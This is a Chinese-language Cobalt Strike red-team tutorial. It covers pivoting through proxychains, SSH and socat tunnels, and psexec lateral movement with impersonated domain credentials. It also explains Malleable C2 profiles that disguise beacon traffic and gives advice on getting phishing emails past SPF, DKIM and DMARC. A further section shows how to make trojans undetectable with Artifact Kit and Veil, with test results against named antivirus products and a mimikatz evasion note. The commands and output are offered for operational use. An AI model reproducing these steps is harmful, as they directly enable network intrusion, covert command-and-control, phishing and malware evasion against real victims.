根据上一节使用 Metasploit 的扫描可以知道,在 192.168.232.0/24 地址段中存在主机 192.168.232.132 ,接下来使用 nmap 扫描一下常见的端口,这里以 80,443,445,3389 作为演示。

1
proxychains nmap -sT -Pn 192.168.232.132 -p 80,443,445,3389

-sT:使用 TCP 扫描

-Pn:不使用 Ping

-p:指定扫描端口

注:不加上 -sT -Pn 参数,将无法使用 proxychains 进行代理扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
> proxychains nmap -sT -Pn 192.168.232.132 -p 80,443,445,3389                       
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-07 23:05 EDT
[proxychains] Strict chain ... 192.168.175.200:9527 ... 192.168.232.132:80 ... OK
[proxychains] Strict chain ... 192.168.175.200:9527 ... 192.168.232.132:445 ... OK
[proxychains] Strict chain ... 192.168.175.200:9527 ... 192.168.232.132:3389 ... OK
[proxychains] Strict chain ... 192.168.175.200:9527 ... 192.168.232.132:443 <--denied
Nmap scan report for 192.168.232.132
Host is up (0.19s latency).

PORT STATE SERVICE
80/tcp open http
443/tcp closed https
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 14.35 seconds

通过扫描可以看到目标 80 端口是开放的,接下来使用 curl 作为对比示例。

1
2
curl 192.168.232.132
proxychains curl 192.168.232.132
1
2
3
4
5
6
7
8
9
10
11
12
13
> curl 192.168.232.132
curl: (7) Failed to connect to 192.168.232.132 port 80: No route to host

> proxychains curl 192.168.232.132
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain ... 192.168.175.200:9527 ... 192.168.232.132:80 ... OK
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
……内容太多,此处省略……
2、反向转发

反向转发顾名思义就是和上一节中提到的转发路径相反,之前我们设置的代理是 CS服务端 --> 上线主机 --> 内网主机,反向转发则是 `内网主机 –> 上线主机 –> CS服务端

继续使用上面的演示环境,首先右击上线主机会话,选择 Pivoting --> Listener ,除了 Name 选项之外,CS 都会自动配置好,这里直接使用默认的配置信息

image-20230112161902771

之后生成一个 Windows 可执行文件,选择上一步生成的监听器,如果目标是 64 位则勾选使用 x64 Payload 的选项,然后将该可执行文件在目标主机上执行即可,在现实环境中可以尝试使用钓鱼邮件的方式诱导目标执行。当目标执行该文件后,就会发现当前不出网的 192.168.232.132 主机已经上线了

3、通过 SSH 开通通道
image-20230112163229400

1、连接到上图中蓝色区域里的 PIVOT 主机并开启端口转发

1
ssh -D 1080 user@<blue pivot>

该命令中的 -D 参数会使 SSH 建立一个 socket,并去监听本地的 1080 端口,一旦有数据传向那个端口,就自动把它转移到 SSH 连接上面,随后发往远程主机。

2、在红色区域的 PIVOT 主机上开启通过 SSH Socks 的 445 端口转发

1
socat TCP4-LISTEN:445,fork SOCKS4:127.0.0.1:<target>:445

socat 可以理解成 netcat 的加强版。socat 建立 socks 连接默认端口就是 1080 ,由于我们上面设置的就是 1080,因此这里不需变动。如果设置了其他端口,那么这里还需要在命令最后加上 ,socksport=<port> 指定端口才行。

3、在攻击者控制的主机上运行 beacon,使其上线

1
注意需要使用 administrator 权限运行 beacon

4、在上线的主机上运行以下命令

1
2
make_token [DOMAIN\user] [password]
jump psexec_psh <red pivot> [listener]

整体的流程就是下面这张图一样

image-20230112163300316

示例

image-20230112163315027
  1. 首先使 Win1 主机上线,接着在 Linux1 主机上通过 SSH 连接到 Linux2 主机。
1
ssh -D 1080 user@192.168.175.146
1
2
3
4
> ssh -D 1080 user@192.168.175.146
user@192.168.175.146's password:
Last login: Fri Jul 31 20:00:54 2020 from 192.168.175.1
user@ubuntu:~$

2、在 Linux1 主机上开启 445 端口转发

1
socat TCP4-LISTEN:445,fork SOCKS4:127.0.0.1:192.168.232.132:445

3、在 Win1 主机上运行以下命令使 Win2 上线

1
2
make_token teamssix\administrator Test123!
jump psexec_psh 192.168.175.200 smb
1
2
3
4
5
6
7
8
9
10
11
12
beacon> make_token teamssix\administrator Test123!
[*] Tasked beacon to create a token for teamssix\administrator
[+] host called home, sent: 61 bytes
[+] Impersonated WINTEST\Administrator

beacon> jump psexec_psh 192.168.175.200 smb
[*] Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\msagent_532c) on 192.168.175.200 via Service Control Manager (PSH)
[+] host called home, sent: 5886 bytes
[+] received output:
Started service 4aea3b9 on 192.168.175.200
[+] host called home, sent: 204473 bytes
[+] established link to child beacon: 192.168.232.132

4、随后便可以看到通过 SSH 上线的主机

image-20230112163445549
malleable 命令和控制

malleable 是一种针对特定领域的语言,主要用来控制 Cobalt Strike Beacon

在开启 teamserver 时,在其命令后指定配置文件即可调用,比如:

1
./teamserver [ip address] [password] [profile]

编写配置文件

1、定义事务指标

1
2
3
4
5
6
http-get {
# 指标
}
http-post {
# 指标
}

2、控制客户端和服务端指标

1
2
3
4
5
6
7
8
http-get {
client {
# 指标
}
server {
# 指标
}
}

3、set 操作

set 语句是给一个选项赋值的方法,以分号结束

1
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1)";

malleable 给了我们很多选项,比如:

1
2
3
4
5
6
jitter		# 控制 beacon 默认回连的抖动因子
maxdns # 控制最大 DNS 请求,限制最大数量可以使 DNS Beacon 发送数据看起来正常些
sleeptime # 控制 beacon 的全部睡眠时间
spawnto
uri
useragent # 控制每次发送请求的 useragent

sleeptimejitter 两个选项是很重要的

添加任意 headers

1
2
3
4
header "Accept" "text/html,application/xhtml";
header "Referer" "https://www.google.com";
header "Progma" "no-cache";
header "Cache-Control" "no-cache";

其他指标

1
2
header "header" "value";
parameter "key" "value";

转换/存储数据

1
2
3
4
5
metadata {
netbios;
append "-.jpg";
uri-append;
}
img img

数据转换语言

1
2
3
4
5
append "string"
base64
netbios
netbiosu
prepend "string"

在GitHub 上有一些配置文件的示例,项目地址:https://github.com/rsmudge/Malleable-C2-Profiles

这一节将使用该项目中的 Malleable-C2-Profiles/APT/havex.profile 配置文件作为示例

测试配置文件是否有效

可以使用 c2lint 工具对配置文件进行测试,以判断配置文件编写的是否有效。

来到 cobalt strike 目录下,可以看到有一个 c2lint 文件,该文件需要在 Linux 下运行。

1
./c2lint [profile]

在运行的结果中,绿色正常(这里更像青色),黄色告警,红色错误,比如运行 Malleable-C2-Profiles 项目里的 havex.profile 文件

1
./c2lint ./Malleable-C2-Profiles/APT/havex.profile

img

当配置文件存在错误的时候,就会以红色显示出来

img

运行 teamserver

1
./teamserver [teamserver_ip] [teamserver_password] [profile]
1
2
3
4
5
> ./teamserver 192.168.12.2 password ./Malleable-C2-Profiles/APT/havex.profile
[*] Will use existing X509 certificate and keystore (for SSL)
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] I see you're into threat replication. ./Malleable-C2-Profiles/APT/havex.profile loaded.
[+] Team server is up on 50050

这里调用的 havex.profile 配置文件,该配置文件里对 cookie 进行了 base64 编码

开启 cobalt strike 后,使主机上线,通过 wireshark 抓包可以发现数据包确实符合这些特征。

img

免杀

Cobalt Strike 不是什么工作情况都能胜任的工具,因此就需要我们根据不同的情况去做一些辅助工作

1、DKIM、SPF 和 DMARC

SPF、DKIM、DMARC 都是邮件用于帮助识别垃圾信息的附加组件,那么作为一个攻击者,在发送钓鱼邮件的时候,就需要使自己的邮件能够满足这些组件的标准,或者发送到未配置这些组件的域

在理解这些防御标准前,需要先理解如何在因特网上通过 SMTP 发送邮件

SMTP

发送一封邮件的过程大概是下面这个样子,这里以QQ邮箱为例。

1
2
3
4
5
6
7
8
9
10
11
> telnet smtp.qq.com 25
HELO teamssix
auth login
base64编码后的邮箱名
base64编码后的授权码
MAIL FROM: <evil_teamssix@qq.com>
RCPT TO: <target_teamssix@qq.com>
DATA
邮件内容
.
QUIT

防御策略

DKIM

DKIM DomainKeys Identified Mail 域名密钥识别邮件,DKIM 是一种防范电子邮件欺诈的验证技术,通过消息加密认证的方式对邮件发送域名进行验证。

邮件接收方接收邮件时,会通过 DNS 查询获得公钥,验证邮件 DKIM 签名的有效性,从而判断邮件是否被篡改。

SPF

SPF Sender Policy Framework 发送人策略框架,SPF 主要用来防止随意伪造发件人。其做法就是设置一个 SPF 记录,SPF 记录实际上就是 DNS 的 TXT 记录。如果邮件服务器收到一封来自 IP 不在 SPF 记录里的邮件则会退信或者标记为垃圾邮件。

我们可以使用以下命令查看目标的 SPF 记录 dig +short TXT target.com

1
2
> dig +short TXT qq.com
"v=spf1 include:spf.mail.qq.com -all"

上面的 include:spf.mail.qq.com 表示引入spf.mail.qq.com域名下的 SPF 记录。

1
2
> dig +short TXT spf-a.mail.qq.com
"v=spf1 ip4:203.205.251.0/24 ip4:103.7.29.0/24 ip4:59.36.129.0/24 ip4:113.108.23.0/24 ip4:113.108.11.0/24 ip4:119.147.193.0/24 ip4:119.147.194.0/24 ip4:59.78.209.0/24 ip4:113.96.223.0/24 ip4:183.3.226.0/24 ip4:183.3.255.0/24 ip4:59.36.132.0/24 -all"

上面的 ip4:203.205.251.0/24 ip4:103.7.29.0/24 表示只允许这个范围内的 IP 发送邮件。

DMARC

DMARC Domain-based Message Authentication, Reporting & Conformance 基于域的消息认证,报告和一致性。

它用来检查一封电子邮件是否来自所声称的发送者。DMARC 建立在 SPF 和 DKIM 协议上, 并且添加了域名对齐检查和报告发送功能。这样可以改善域名免受钓鱼攻击的保护。

可以使用下面的命令查看目标的的 DMARC 记录 dig +short TXT _dmarc.target.com

1
2
> dig +short TXT _dmarc.qq.com
"v=DMARC1; p=none; rua=mailto:mailauth-reports@qq.com"

也有一些在线网站支持检测 SPF、DKIM、DMARC 的记录,比如 https://dmarcly.com/tools

发送钓鱼邮件的一些注意事项

1、检测目标是否有 SPF 记录,如果有则可能会被拦截

2、检测目标 DMARC 记录的 p 选项是否为 reject ,如果有则可能会被拒绝

3、模板中嵌入的 URL 地址,不要使用 IP 地址,要保证使用完整的 URL地址

4、邮件的附件中不能附上一些可执行文件,比如 exe 格式的文件,因为一些邮件过滤器可能会将这些可执行文件删除

2、杀毒软件

常规杀毒软件的目的就是发现已知病毒并中止删除它,而作为攻击者则需要对病毒文件进行免杀处理,从而使杀毒软件认为我们的文件是合法文件

杀软受到的限制

1、杀毒软件不能把可疑文件删除或者结束运行,否则用户的正常操作可能就会受到影响,同时也会对杀毒软件公司的声誉、口碑产生影响。

2、杀毒软件不能占用太多的系统资源,否则用户可能会考虑卸载杀毒软件。

3、大多数杀毒软件的一个弱点就是只会在浏览器下载文件或者文件被写入磁盘时才会检查这个文件的特征码,也就是说在这种情况下才会检查文件是否是病毒。

如何工作

1、在大多数杀毒软件背后都会有一个已知病毒的签名数据库,通过将当前文件的特征码与病毒签名数据库进行比对,如果一致则说明该文件是病毒。

2、同时一些杀毒软件也会去发现用户的一些可疑行为,而且杀毒软件对这种可疑行为的判定会下比较大的功夫。因为如果误杀,造成的后果可能对用户来说是比较严重的。

3、一些杀毒软件会在沙箱环境中去运行可疑文件,然后根据该可疑文件的行为判断是否为病毒。

如何免杀

首先要判断目标使用了哪款杀毒软件,然后自己在虚拟机中去尝试绕过它。其次可以使用 Cobalt Strike 的 Artifact Kit 组件制作免杀可执行文件

Artifact Kit

Artifact Kit 是一个制作免杀 EXE、DLL 和 Service EXE 的源代码框架, 在 Cobalt Strike 的 Help-->Arsenal处可下载Artifact Kit

Artifact Kit 的工作原理大概如下:

1、将病毒文件进行混淆处理,使杀毒软件将其判定为可疑文件而不是病毒文件。这种混淆可以逃避那些使用简单字符串搜索来识别恶意代码的杀毒软件

2、对病毒文件进行一些处理,以绕过沙箱检测。比如 Artifact Kit 中的 src-common/bypass-pipe.c 会生成可执行文件和DLL,它们通过命名管道为自己提供shellcode。如果防病毒沙箱不能模拟命名管道,它将找不到已知的恶意 shellcode

Artifact Kit 的使用步骤大概如下:

1、下载 Artifact Kit

2、如果需要的话就修改/混淆病毒文件

3、构建

4、使用 Artifact Kit 加载脚本

首先来看看未进行免杀处理的效果,这里采用 virustotal 进行检测,发现被 42 个引擎检测到

接下来就试试 Artifact Kit 进行免杀的效果,Github 项目地址:https://github.com/Cliov/Arsenal

这里使用 Artifact Kit 中的 dist-peek 方法进行测试:

Cobalt Strike -> Script Manager,Load 加载 /Arsenal/artifact/dist-peek/artifact.cna插件,之后在Attacks -> Packages -> Windows Executable` 中生成木马文件

使用 virustotal 检测仅有 8 个引擎检测到

把每个杀软的病毒库升级到最新后,实测可以过腾讯电脑管家、火绒,但 360 安全卫士 、 360 杀毒不行

Veil Evasion

此外,也可以使用 Veil Evasion 框架,Veil Evasion 的安装也是比较简单的,Veil-Evasion 在 Kali 2020以前是自带的,但 Kali 2020 中是需要独立安装的。在 Kali 中可以直接使用 apt-get 进行安装。

1
2
3
git config --global https.proxy 'socks5://127.0.0.1:1080'
apt-get install veil-evasion
veil

其他系统可以使用 veil-evasion 项目中的介绍进行安装,项目地址:https://github.com/Veil-Framework/Veil-Evasion

由于 Veil Evasion 有 200 多 M ,因此建议挂上代理进行下载安装

安装完成之后,在 Cobalt Strike 里的 Attacks -> Packages -> Payload Generator 中选择 Veil 输出生成一个 payload.txt 文件

image-20230114165534901

随后来到 Kali 下,输入 veil 启动,输入 use Evasion 使用 Evasion 工具,list 查看当前可用的 Payload

1
2
3
veil
use Evasion
list

这里使用第 17 个即 go/shellcode_inject/virtual.py Payload 作为示例,因为 go、c 等编译性语言语言相对于 python 等脚本语言来说免杀效果会好些。

1
use 17

之后输入 generate,选择第三项 Custom shellcode string ,粘贴刚生成的 payload.txt 文本内容,输入要生成的 exe 文件名,即可生成一个免杀木马。

1
2
3
4
generate
3
粘贴 payload.txt 内容
bypass_go #生成文件的名称
image-20230114165636386

实测可以过360 安全卫士、 360 杀毒,但腾讯电脑管家、火绒不行

白名单绕过Defender查杀
image-20230102224037589

mkdir %SystemDrive%\PHP5433

mimikatz 免杀过 360 安全卫士和 360 安全杀毒

image-20230102224410458